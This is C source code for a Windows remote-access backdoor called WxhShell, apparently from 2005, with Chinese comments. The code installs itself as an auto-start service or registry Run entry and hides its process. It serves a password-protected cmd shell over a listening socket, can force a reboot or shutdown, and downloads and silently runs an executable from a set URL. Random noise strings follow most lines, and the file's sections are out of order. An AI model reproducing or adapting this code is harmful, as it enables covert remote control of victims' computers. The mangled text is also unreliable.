    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OxI/%yv-c  
    if(Boot(SHUTDOWN)) 5[0 O'%$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{dTp  
    else { .ZvM^GJb  
    closesocket(wsh); EkgE_8  
    ExitThread(0); &e 6CJ  
    } &wD;SMr<  
    break; 35E_W>n  
    } v\m ]A1  
  // 获取shell =R*qP;#  
  case 's': { 79`AM X[b  
    CmdShell(wsh); \b%kf99  
    closesocket(wsh); + s- lCz  
    ExitThread(0); [0"'T[ok  
    break; Llr>9(|  
  } > ;/l)qk,  
  // 退出 28 8XF9B^  
  case 'x': { /"eey(X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j@YU|-\qh  
    CloseIt(wsh); -FU}pz/  
    break; sCR67/  
    } =c/wplv*  
  // 离开 uV!^,,~  
  case 'q': { Q09[[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +L7n<U3  
    closesocket(wsh); $STaQ28C  
    WSACleanup(); ]IoUwgpI)  
    exit(1); VeW>[08  
    break; *:ZDd  
        } `s\?w5[  
  } 6Yx4lWBR?  
  } .Fdgb4>BXX  
:2 *g~6  
  // 提示信息 0q&<bV:D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F(tx)V ~T3  
} -r-k_6QP  
  } ^J$2?!~  
R8ZK]5{o  
  return; spt6]"Ni  
} &*+'>UEe5  
"rx-_uK*  
// shell模块句柄 C?lcGt!H  
int CmdShell(SOCKET sock) mV3cp rRqv  
{ O8h%3&  
STARTUPINFO si; V5UF3'3;}  
ZeroMemory(&si,sizeof(si)); 0u;4%}pD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9I&xfvD,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nih0t^m'  
PROCESS_INFORMATION ProcessInfo; 19w*!FGX  
char cmdline[]="cmd"; 7Zlw^'q$:L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wK?vPS  
  return 0; WA+iYLx@H  
} ,yiX# ;j  
Mu+0<>   
// 自身启动模式 ~_/(t'9  
int StartFromService(void) "*In+!K  
{ 7pe\M/kl  
typedef struct uScMn/%  
{ A"L&a l$i  
  DWORD ExitStatus; gt@m?w(  
  DWORD PebBaseAddress; -*1J f&  
  DWORD AffinityMask; #qK:J;Sn3  
  DWORD BasePriority; ML|FQ  
  ULONG UniqueProcessId; f&Gt|  
  ULONG InheritedFromUniqueProcessId; }H^+A77v  
}   PROCESS_BASIC_INFORMATION; KV(Q;~8"X  
=ALTUV3/q  
PROCNTQSIP NtQueryInformationProcess; bbE!qk;hEP  
?l9XAW t\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D]zwl@sRX:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P GqQ@6B  
Gefne[  
  HANDLE             hProcess; 5>[u `  
  PROCESS_BASIC_INFORMATION pbi; Z&1\{PG3*  
qm/)ku0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,U2*FZ["  
  if(NULL == hInst ) return 0; 'Gj3:-xqL  
9Z4nAc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RoPRQCE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3}}38A|4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I>W=x'PkLn  
6 (]Dh;gC  
  if (!NtQueryInformationProcess) return 0; _852H$H\  
p{T*k'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  y3@H/U{  
  if(!hProcess) return 0; s~^5kgPA  
;r<^a6B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F1*>y  
ItNz}4o|d  
  CloseHandle(hProcess); d3\qKL!~  
pM4 :#%V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mk"^?%PxT  
if(hProcess==NULL) return 0; H?yK~bGQ  
l9{hq/V  
HMODULE hMod; "\w 7q  
char procName[255]; g6j?,c|y  
unsigned long cbNeeded; 9jM}~XvV  
H\ F :95  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lt64JH^lz  
<:+x+4ru  
  CloseHandle(hProcess); 5?{ r  
+^60T$  
if(strstr(procName,"services")) return 1; // 以服务启动 OP[  @k  
o#3ly-ht  
  return 0; // 注册表启动 +$ 'Zf0U  
} &u$Q4  
'DP1,7  
// 主模块 75T%g!c#  
int StartWxhshell(LPSTR lpCmdLine) (7wc*#}  
{ 5_GYrR2  
  SOCKET wsl; M\uiq38  
BOOL val=TRUE; 3l rT3a3vV  
  int port=0; W+I!q:p4H  
  struct sockaddr_in door; /:m-> T  
em%4Ap  
  if(wscfg.ws_autoins) Install(); Ni9/}bb  
n<LEler#M  
port=atoi(lpCmdLine); ?WGA?J %2  
%~4M+r6T  
if(port<=0) port=wscfg.ws_port; -_=nDH  
,LHn90S  
  WSADATA data; .s?L^Z^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~~D{spMVO  
ZgTW.<.%2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {'7B6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); - YEZ]:"  
  door.sin_family = AF_INET; /6)<}#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6AAz  
  door.sin_port = htons(port); BtkOnbz8X  
3#3n!(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `V}q-Zdy  
closesocket(wsl); cuax;0{%  
return 1; X8Bd3-B  
} h0g8*HY+}  
KI"#f$2&  
  if(listen(wsl,2) == INVALID_SOCKET) { l!D}3jD  
closesocket(wsl); 01 }D,W`  
return 1; hNC&T`.-~B  
} g|o,uD  
  Wxhshell(wsl); qU \w=  
  WSACleanup(); ` 'DmDg  
qqjwJ!@P  
return 0; `+]Qz =}  
(p"%O  
} 4>wP7`/+y  
OIGY`   
// 以NT服务方式启动 Zu*F#s!tUI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j`{?OYD  
{ 8SMxw~9$  
DWORD   status = 0; {5Q!Y&N.%  
  DWORD   specificError = 0xfffffff; owVX*&b{  
sA+ }TNhq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /:cd\A}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ju8> :y8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1KU! tL  
  serviceStatus.dwWin32ExitCode     = 0; Cwv9 a^  
  serviceStatus.dwServiceSpecificExitCode = 0; #|uCgdi  
  serviceStatus.dwCheckPoint       = 0; )HEa<P^kJl  
  serviceStatus.dwWaitHint       = 0; Ki;*u_4{  
g_;\iqxL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3(>B Ke  
  if (hServiceStatusHandle==0) return; )*u8/U  
`}p0VmD{NE  
status = GetLastError(); 7y.kQI?3  
  if (status!=NO_ERROR) /T"+KU*  
{ `aOFs+<)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; * ` JYC  
    serviceStatus.dwCheckPoint       = 0; z0 d.J1VW  
    serviceStatus.dwWaitHint       = 0; lov!o: dJ  
    serviceStatus.dwWin32ExitCode     = status; &)QX7*H  
    serviceStatus.dwServiceSpecificExitCode = specificError; pE`})/?\*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D, k6$`  
    return; f[]dfLS"W  
  } GV1pn) 4  
P9R9(quI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '6DBs8>1  
  serviceStatus.dwCheckPoint       = 0;  {y)=eX9  
  serviceStatus.dwWaitHint       = 0;  CT&|QH{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b!+hH Hv:  
} ` ./$&'  
=7?4eYHC  
// 处理NT服务事件,比如:启动、停止 l5~os>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d9k0F OR1  
{ zrvF]|1UP  
switch(fdwControl) 1a/++4O.|  
{ YX!iL6?~  
case SERVICE_CONTROL_STOP: N"Z{5A  
  serviceStatus.dwWin32ExitCode = 0; 2IK}vDsis  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %U/(|wodd  
  serviceStatus.dwCheckPoint   = 0; %[GsD9_-  
  serviceStatus.dwWaitHint     = 0; 2_>N/Z4T  
  { ~?l | [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zOJ%}  
  } )7hqJa-V  
  return; Xu{1".\  
case SERVICE_CONTROL_PAUSE: B.=FSow  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .7J#_* N V  
  break; RTYvS5 G  
case SERVICE_CONTROL_CONTINUE: G0Iw-vf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Om*@;r(  
  break; Ao 'l"-  
case SERVICE_CONTROL_INTERROGATE: P1!qbFDv8  
  break; )705V|v  
}; Zj(AJ*r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X;$+,&M"  
} _YRFet[,m  
z'Hw  
// 标准应用程序主函数 ;[ZEDF5H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j;zM{qu_  
{ xR~h wj  
ibcRU y0%  
// 获取操作系统版本 0S"mVZ*P  
OsIsNt=GetOsVer(); hDDn,uzpd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J4hL_iCQ  
fuW\bo3  
  // 从命令行安装 3<Lx&p~%T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6bg ;q(*7  
y RqL9t  
  // 下载执行文件 RbB.q p  
if(wscfg.ws_downexe) { _;"il%l=1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lj({[H7D!  
  WinExec(wscfg.ws_filenam,SW_HIDE); PI {bmZ  
} }{Pp]*I<A  
./Xz}<($8  
if(!OsIsNt) { ROI7eU  
// 如果时win9x,隐藏进程并且设置为注册表启动 1C+13LE$U  
HideProc(); }J}-//[A  
StartWxhshell(lpCmdLine); 2DA]i5  
} g _9C*  
else }RF(CwZr(  
  if(StartFromService()) b! t0w{^w  
  // 以服务方式启动 kdiM5l70  
  StartServiceCtrlDispatcher(DispatchTable); f_OQ./`  
else b`Zx!^  
  // 普通方式启动 lf|FWqqV  
  StartWxhshell(lpCmdLine); s S+MqBh&I  
'ms-*c&  
return 0; }rUN_.n4z  
} |"}FXa O  
`7E;VL^Y1  
T=DbBy0-  
yZY\MB/  
=========================================== jVe1b1rt~3  
bL`TySX  
LE Nq_@$  
bIDj[-CDG  
_;S-x  
l:~/<`o  
" J3V= 46Yc  
fUWG*o9  
#include <stdio.h> /xBb[44z8  
#include <string.h> !/b>sN}  
#include <windows.h> n` _{9R  
#include <winsock2.h> ,&A7iO  
#include <winsvc.h> RMV/&85?y  
#include <urlmon.h> [\e eDa  
Z?q] bSIT  
#pragma comment (lib, "Ws2_32.lib") :LQYo'@yB  
#pragma comment (lib, "urlmon.lib") g/d<Zfq<{  
P= BZ+6DS  
#define MAX_USER   100 // 最大客户端连接数 EU 6oQ  
#define BUF_SOCK   200 // sock buffer U+jOTq8M  
#define KEY_BUFF   255 // 输入 buffer 2QcOR4_V  
&J]K3w1p  
#define REBOOT     0   // 重启 Pbn*_/H  
#define SHUTDOWN   1   // 关机  \!X8   
lN)C2 2  
#define DEF_PORT   5000 // 监听端口 z|J_b"u4  
HVCe;eI  
#define REG_LEN     16   // 注册表键长度 ?=msH=N<l  
#define SVC_LEN     80   // NT服务名长度 eb{nWP  
L[fiU0^o  
// 从dll定义API 9<?M8_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oSKXt}sh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x j)F55e?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }-{H  Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8NJqV+jn)t  
oCv.Ln1;Z  
// wxhshell配置信息 Wis~$"  
struct WSCFG { &m7]v,&  
  int ws_port;         // 监听端口 ~vhE|f  
  char ws_passstr[REG_LEN]; // 口令 Q$W  
  int ws_autoins;       // 安装标记, 1=yes 0=no O:R*rJ  
  char ws_regname[REG_LEN]; // 注册表键名 ,8uqdk-D  
  char ws_svcname[REG_LEN]; // 服务名 s\(k<Ks  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |^I0dR/w:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  _"yh.N&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pU}(@oy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !-x$L>1$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ta0|+IYk<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?!:ha;n  
\:'/'^=#|  
}; {z5--TogJ  
r +i($ jMs  
// default Wxhshell configuration I]t!xA~  
struct WSCFG wscfg={DEF_PORT, H2\;%K 2  
    "xuhuanlingzhe", | j`@eF/"  
    1, :r,pqnH_  
    "Wxhshell", -Cpl?Io`r5  
    "Wxhshell", eK=xrk  
            "WxhShell Service", YlQ=5u^+  
    "Wrsky Windows CmdShell Service", d"mkL-  
    "Please Input Your Password: ", .G. 0WR/2  
  1, `AtBtjs RV  
  "http://www.wrsky.com/wxhshell.exe", IMFDM."s  
  "Wxhshell.exe" t|\%VC  
    }; I*{ nP)^9  
T*Exs|N2P-  
// 消息定义模块 LmrfN?5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; myQagqRx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~H_/zK6e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nNV'O(x}  
char *msg_ws_ext="\n\rExit."; dq6m>;`  
char *msg_ws_end="\n\rQuit."; _/$Bpr{R  
char *msg_ws_boot="\n\rReboot..."; 7>0o&  
char *msg_ws_poff="\n\rShutdown..."; ~ 'cmSiz-  
char *msg_ws_down="\n\rSave to "; xh,qNnGGi  
\ a<h/4#|  
char *msg_ws_err="\n\rErr!"; k,6f &#x  
char *msg_ws_ok="\n\rOK!"; /4V#C-  
t#})Awy^R  
char ExeFile[MAX_PATH]; .V/Rfq  
int nUser = 0; ::lKL  
HANDLE handles[MAX_USER]; wu!59pL  
int OsIsNt; a2O75 kWnm  
bHYy}weZ  
SERVICE_STATUS       serviceStatus; X/!o\yyT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6 7.+ .2  
wE>\7a*P%  
// 函数声明 iL&fgF"'  
int Install(void); 6r0krbN  
int Uninstall(void); %D34/=(X  
int DownloadFile(char *sURL, SOCKET wsh); KeB"D!={;  
int Boot(int flag); WRbj01v  
void HideProc(void); HYZ5EV  
int GetOsVer(void); ItVWO:x&v  
int Wxhshell(SOCKET wsl); %6,SKg p  
void TalkWithClient(void *cs); &X ):4  
int CmdShell(SOCKET sock); -H@:*  
int StartFromService(void); B\=8_z  
int StartWxhshell(LPSTR lpCmdLine); P>C~ i:4n  
.Iw AK/QS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qp }Cqi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O2E/jj  
Tya1/w4  
// 数据结构和表定义 w~A{(- dx  
SERVICE_TABLE_ENTRY DispatchTable[] = gQg"j)  
{ dJoaCf`w  
{wscfg.ws_svcname, NTServiceMain}, ~s*)f.l  
{NULL, NULL} X6X $Pve  
}; )gIKH{JYL  
^WgX Qtn  
// 自我安装 Xm}/0g&7  
int Install(void) $E~`\o%Ev  
{ _\G"9,)u '  
  char svExeFile[MAX_PATH]; L|:`^M+^w  
  HKEY key; HxV=F66"  
  strcpy(svExeFile,ExeFile); HY*Kb+[  
Y@vTaE^w3  
// 如果是win9x系统,修改注册表设为自启动 QzVnL U)  
if(!OsIsNt) {  a=9:[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W?R6ZAn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4<Utmr  
  RegCloseKey(key); w^|*m/h|@u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !4RWYMV "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gbr=+AT  
  RegCloseKey(key); GL#up  
  return 0; rC%*$g $  
    } [)M%cyQ  
  } b\kdKVh&  
} D6Ui!  
else { xd?f2=dd~h  
s}9S8@#  
// 如果是NT以上系统,安装为系统服务 Y-_`23x`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R6Km\N  
if (schSCManager!=0) m@2QnA[ 4  
{ OmpND{w  
  SC_HANDLE schService = CreateService RuA*YV  
  ( y<|7z99L  
  schSCManager, O7m(o:t x3  
  wscfg.ws_svcname, mb TEp*H  
  wscfg.ws_svcdisp, i {NzV  
  SERVICE_ALL_ACCESS, }<v@01  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5y [Oj^  
  SERVICE_AUTO_START, iDp)FQ$  
  SERVICE_ERROR_NORMAL, D9=KXo^  
  svExeFile, +T1pJ 89P  
  NULL, H9`)BbR  
  NULL, HZC"nb}r4  
  NULL, x.!V^HQSN  
  NULL, ZF9z~9  
  NULL ]?kZni8j_  
  ); ghG**3xr  
  if (schService!=0) {j?FNOJn  
  { xQ-<WF1i  
  CloseServiceHandle(schService); B$fPgW-  
  CloseServiceHandle(schSCManager); $aDVG})  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q:G4Z9Kt  
  strcat(svExeFile,wscfg.ws_svcname); (ylTp]~mR-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {9&;Q|D z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Y0Vid  
  RegCloseKey(key); D rUO-  
  return 0; i(%W_d!  
    } 2^[ `eg  
  } TOB-aAO  
  CloseServiceHandle(schSCManager); I(L,8n5  
} J s@hLP `  
} \O3m9,a   
)Xz,j9GzJS  
return 1; rxvx  
} MDZ640-Y  
KK/tu+"  
// 自我卸载 _ @NL;w:!  
int Uninstall(void) kzQ+j8.,U  
{ 8oy^Xc+  
  HKEY key; l|JE#  
'j8:vq^d  
if(!OsIsNt) { u"cV%(#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *eTqVG.  
  RegDeleteValue(key,wscfg.ws_regname); X"|['t  
  RegCloseKey(key); '6iEMg&3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p J! mw\:  
  RegDeleteValue(key,wscfg.ws_regname); /!yU !`bY  
  RegCloseKey(key); OhQgF  
  return 0; %op**@4/t\  
  } Q^9_' t}X  
} / |;RV"  
} _lJ!R:*  
else { 17%,7P9pg  
>reU#j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /$xU  
if (schSCManager!=0) GbY7_N  
{  lHY+}v0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `_Zg3_K.dS  
  if (schService!=0) jP$a_hW  
  { p SH=%u>  
  if(DeleteService(schService)!=0) { F3[T.sf  
  CloseServiceHandle(schService); ^+>laOzC`8  
  CloseServiceHandle(schSCManager); T\6dm/5  
  return 0; 2+ N]PW\V  
  } j ?3wvw6T  
  CloseServiceHandle(schService); T"}5}6rSG  
  } X Swl Tg  
  CloseServiceHandle(schSCManager); g#pr yYz  
} O-0x8O^B  
} ?DS@e@lx  
f M :]&  
return 1; (?1y4M  
} ouvA~/5  
%ufN8w!p  
// 从指定url下载文件 Af~$TyX  
int DownloadFile(char *sURL, SOCKET wsh) t:x\kp  
{ b;B%q$sntC  
  HRESULT hr; wtLO!=B  
char seps[]= "/"; PFlNo` iO  
char *token; Gi|w}j_  
char *file; Wq D4YGN  
char myURL[MAX_PATH]; \g`\`e53?  
char myFILE[MAX_PATH]; d=$Mim  
Z!a =dnwHz  
strcpy(myURL,sURL); `!3SF|x&  
  token=strtok(myURL,seps); Zgp4`)}:  
  while(token!=NULL) Tt`u:ZwhF  
  { #'nr Er <  
    file=token; P+ 3G~Sr  
  token=strtok(NULL,seps); xf\C|@i  
  } e9Wa<i 8  
hE'-is@7  
GetCurrentDirectory(MAX_PATH,myFILE); [: n'k  
strcat(myFILE, "\\"); +5g_KS  
strcat(myFILE, file); a_^\=&?'  
  send(wsh,myFILE,strlen(myFILE),0); xC?6v '  
send(wsh,"...",3,0); ]Grek<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :".ARCg  
  if(hr==S_OK) ]`!>6/[  
return 0; ,a{P4Bq  
else ;IvY^(YS@;  
return 1; 8rAg \H3E  
,\W 8b-Z  
} -lr vKrt7  
rQ{7j!Im  
// 系统电源模块 )` SrfGp8  
int Boot(int flag) Hp|kQJ[LE  
{ g>E LGG |Q  
  HANDLE hToken; TM__I\+Q  
  TOKEN_PRIVILEGES tkp; n$A9_cHF7  
p;`>e>$  
  if(OsIsNt) { Di,^%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !,_u)4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \S `:y?[Y  
    tkp.PrivilegeCount = 1; yM6pd U]i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z\bmW%av  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <yV"6/l 0  
if(flag==REBOOT) { ,i ^9 |Oeq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k$^UUo6  
  return 0; G{As,`{  
} ih-#5M@  
else { gMi0FO'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]\-A;}\e  
  return 0; ch*8B(:  
} &@X<zWg  
  } p%up)]?0  
  else { Pa>AWOG'  
if(flag==REBOOT) { \i>?q   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fk&c=V;SU  
  return 0; \Gef \   
} /* (Kr'c  
else { hk;5w{t}}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v4a8}G  
  return 0; +qN>.y!Y  
} r5S[-`s;  
} '0;l]/i.  
^ox=HNV  
return 1; j.[.1G*("  
} 0Uz"^xO["  
&Q/W~)~  
// win9x进程隐藏模块 F>Ah0U0  
void HideProc(void) _O)>$.^6  
{ etQCzYIhn  
udK%>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X;+sUj8  
  if ( hKernel != NULL ) %_H<:uGO%  
  { a K[&V't~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A7 {\</Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P_^ +A  
    FreeLibrary(hKernel); L?b~k=  
  } w?PkO p  
Qab>|eSm  
return; +uF>2b6'  
} -u+vJ6EY  
Gm&Za,4%4  
// 获取操作系统版本 s2p\]|5  
int GetOsVer(void) j<m(PHSe  
{ 3GYw+%Z]  
  OSVERSIONINFO winfo; etDk35!h~,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +%z> H"J.  
  GetVersionEx(&winfo); G{~J|{t\yz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Bb5?fw  
  return 1; 5X:AbF  
  else 6D;Sgc5"  
  return 0; G6Axs1a  
} fivw~z|[@  
zy?|ODM  
// 客户端句柄模块 5:[0z5Hww  
int Wxhshell(SOCKET wsl) -a}Dp~j  
{ 5+0gR &|j  
  SOCKET wsh; #FLb*%Nr  
  struct sockaddr_in client; @}u*|P*  
  DWORD myID; h%na>G  
tPWLg),  
  while(nUser<MAX_USER) c% -Tem'#  
{ T3.&R#1M8-  
  int nSize=sizeof(client); caR<Kb:;*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,$L4dF3  
  if(wsh==INVALID_SOCKET) return 1; IxN9&xa  
='r!g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ah$b [\#C  
if(handles[nUser]==0) un"Gozmt5  
  closesocket(wsh); & bm 1Fz  
else bTNgjc  
  nUser++; (62"8iD6  
  } w>&aEv/f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q s!j>x  
dh\'<|\K  
  return 0; Xh"n]TK  
} =+-UJo5  
oAVnK[EMq`  
// 关闭 socket wc@X.Q[  
void CloseIt(SOCKET wsh) e`_LEv  
{ ;W )Y OT  
closesocket(wsh); ij`w} V  
nUser--; ea2ayT  
ExitThread(0); 9Q^r O26+  
} K=Z|/Kkh  
)gUR@V>e2  
// 客户端请求句柄 \fLMr\LL&  
void TalkWithClient(void *cs) \A#41  
{ Igt#V;kK"2  
LKB$,pR~1l  
  SOCKET wsh=(SOCKET)cs; T@B/xAq5!  
  char pwd[SVC_LEN]; 8U"v6S~A%Q  
  char cmd[KEY_BUFF]; dh iuI|?@  
char chr[1]; E?f-wQF  
int i,j; l}|%5.5-  
@+2=g WH  
  while (nUser < MAX_USER) { !X#OOqPr=  
!;v|'I  
if(wscfg.ws_passstr) { yjX9oxhtL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (_]~wi-,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hyl%mJ  
  //ZeroMemory(pwd,KEY_BUFF); .p3,O6y2(F  
      i=0; FIhk@TKa  
  while(i<SVC_LEN) { /& {A!.;  
1<@W6@]  
  // 设置超时 *I.f1lz%*  
  fd_set FdRead; ORw,)l  
  struct timeval TimeOut; `cUl7 'j  
  FD_ZERO(&FdRead); AM\'RHL  
  FD_SET(wsh,&FdRead); s?}e^/"v  
  TimeOut.tv_sec=8; :J@ gmY:C  
  TimeOut.tv_usec=0; + .[ <%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >uB# &Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]y '>=a|T  
^A/k)x6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` p-cSxR_  
  pwd=chr[0]; 83\pZ1>)_  
  if(chr[0]==0xd || chr[0]==0xa) { } 9Eg=%0v  
  pwd=0; B%b4v  
  break; u'DRN,h+  
  } xGg )Y#  
  i++; sf87$S0  
    } I3I/bofz  
lvz7#f L~  
  // 如果是非法用户,关闭 socket azp):*f("  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P l]O\vh  
} 5c0 ZRV#  
\ :sUL!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @o _}g !9=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mR:uj2*  
HyZqUb Ha  
while(1) { ZhaP2pC%4  
osAd1<EIC  
  ZeroMemory(cmd,KEY_BUFF); *)T^Ch D,  
~Ea} /Au  
      // 自动支持客户端 telnet标准   4F'LBS]=0  
  j=0; Jhhb7uU+  
  while(j<KEY_BUFF) { 266h\2t6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i%]EEVmN  
  cmd[j]=chr[0]; ,T$U'&;  
  if(chr[0]==0xa || chr[0]==0xd) { O KR "4n:  
  cmd[j]=0; pJ"qu,w  
  break; M`!H"R7  
  } vMH  
  j++; :q% M_  
    } #rfiD%c  
WlC:l  
  // 下载文件 f+,qNvBY/  
  if(strstr(cmd,"http://")) { [!#L6&:a8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '8H4shYg  
  if(DownloadFile(cmd,wsh)) X51:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fj3a.'  
  else /]Md~=yNp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h2]P]@nW;W  
  } ,Uqs1#r  
  else { F_{Yo?_  
+.FEq*V  
